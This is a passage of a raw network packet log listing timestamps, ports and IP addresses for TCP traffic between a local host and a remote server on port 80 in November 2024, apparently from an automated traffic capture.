Nov 12, 2024 15:41:21.577045918 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577052116 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577058077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577076912 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577080011 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577084064 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577091932 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577102900 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577114105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577116013 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577125072 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577128887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577136993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577150106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577157974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577159882 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577174902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577183962 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577186108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577198982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577208042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577209949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577219009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577224016 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577233076 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577244997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577248096 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577254057 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577258110 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577270031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577280045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577284098 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577292919 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577296019 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577305079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577328920 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577328920 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577351093 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577446938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577457905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577471018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577481031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577490091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577492952 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577501059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577512026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577517033 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577538967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577543974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577554941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577564001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577572107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577583075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577584028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577595949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577606916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577606916 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577617884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577626944 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577627897 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577639103 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577649117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577653885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577661991 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577662945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577675104 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577685118 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577692032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577709913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577718973 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.577909946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.577955961 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578278065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578298092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578308105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578316927 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578327894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578330040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578336954 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578339100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578351021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578357935 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578361988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578373909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578387976 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578391075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578397989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578408003 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578409910 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578411102 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578423023 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578437090 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578460932 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578471899 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578480005 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578501940 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578540087 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578550100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578591108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578629971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578629971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578629971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578629971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578629971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578655005 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578665972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578690052 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578690052 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578716993 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578731060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578742027 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578764915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578767061 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578778982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578779936 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578799963 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578804016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578809023 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578816891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578855038 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578866959 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578902960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.578938961 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.578991890 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579003096 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579020977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579034090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579032898 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579050064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579056025 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579076052 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579094887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579107046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579117060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579128027 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579138041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579142094 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579154968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579169035 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579330921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579341888 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579351902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579363108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579375029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579377890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579386950 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579396963 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579397917 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579408884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579410076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579437017 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579459906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579474926 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579487085 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579495907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579507113 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579513073 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579519987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579520941 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579540968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579541922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579554081 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579564095 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579566956 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579576015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579586029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579591036 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579597950 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579607964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579613924 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579621077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579627037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579643965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579651117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579654932 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579667091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579674006 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579682112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579698086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579706907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579716921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579720974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579729080 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579740047 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579751015 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579760075 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579766989 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579772949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579783916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579787970 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579794884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579803944 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579807043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579818964 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579818964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579832077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579840899 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579847097 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579862118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579864979 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579879045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579885960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579890013 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579900980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579905033 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579914093 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579914093 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579926968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579936981 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579937935 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579947948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579957008 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.579960108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.579979897 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580002069 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580029964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580044985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580054045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580064058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580075979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580075979 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580086946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580087900 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580099106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580112934 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580116034 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580128908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580137968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580137968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580146074 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580152035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580177069 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580199003 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580322981 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580334902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580344915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580355883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580368042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580368996 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580379963 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580389977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580398083 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580409050 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580414057 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580420971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580430031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.580439091 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580449104 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.580480099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694617987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694637060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694684029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694734097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694742918 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694756031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694771051 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694783926 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694797039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694808006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694820881 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694822073 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694832087 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694837093 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694869041 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694871902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694895029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694916010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694921970 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694931984 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694933891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694936991 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694950104 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694972038 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694983006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.694991112 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.694996119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695007086 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695019960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695028067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695034981 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695043087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695053101 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695069075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695075989 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695077896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695091009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695096016 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695106983 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695112944 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695128918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695142984 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695239067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695250034 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695266962 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695281982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695283890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695293903 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695306063 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695329905 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695347071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695358038 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695368052 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695379019 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695389032 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695400000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695429087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695439100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695449114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695460081 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695471048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695482969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695483923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695493937 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695503950 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695508957 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695521116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695528984 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695549011 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695569992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695595026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695605993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695615053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695625067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695632935 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695636988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695648909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695657969 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695660114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695672989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:21.695679903 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695698977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.695720911 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.722330093 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:21.727184057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:22.006447077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:22.006458998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:22.006468058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:22.006473064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:22.006478071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:22.006481886 CET	80	49751	185.215.113.206	192.168.2.4
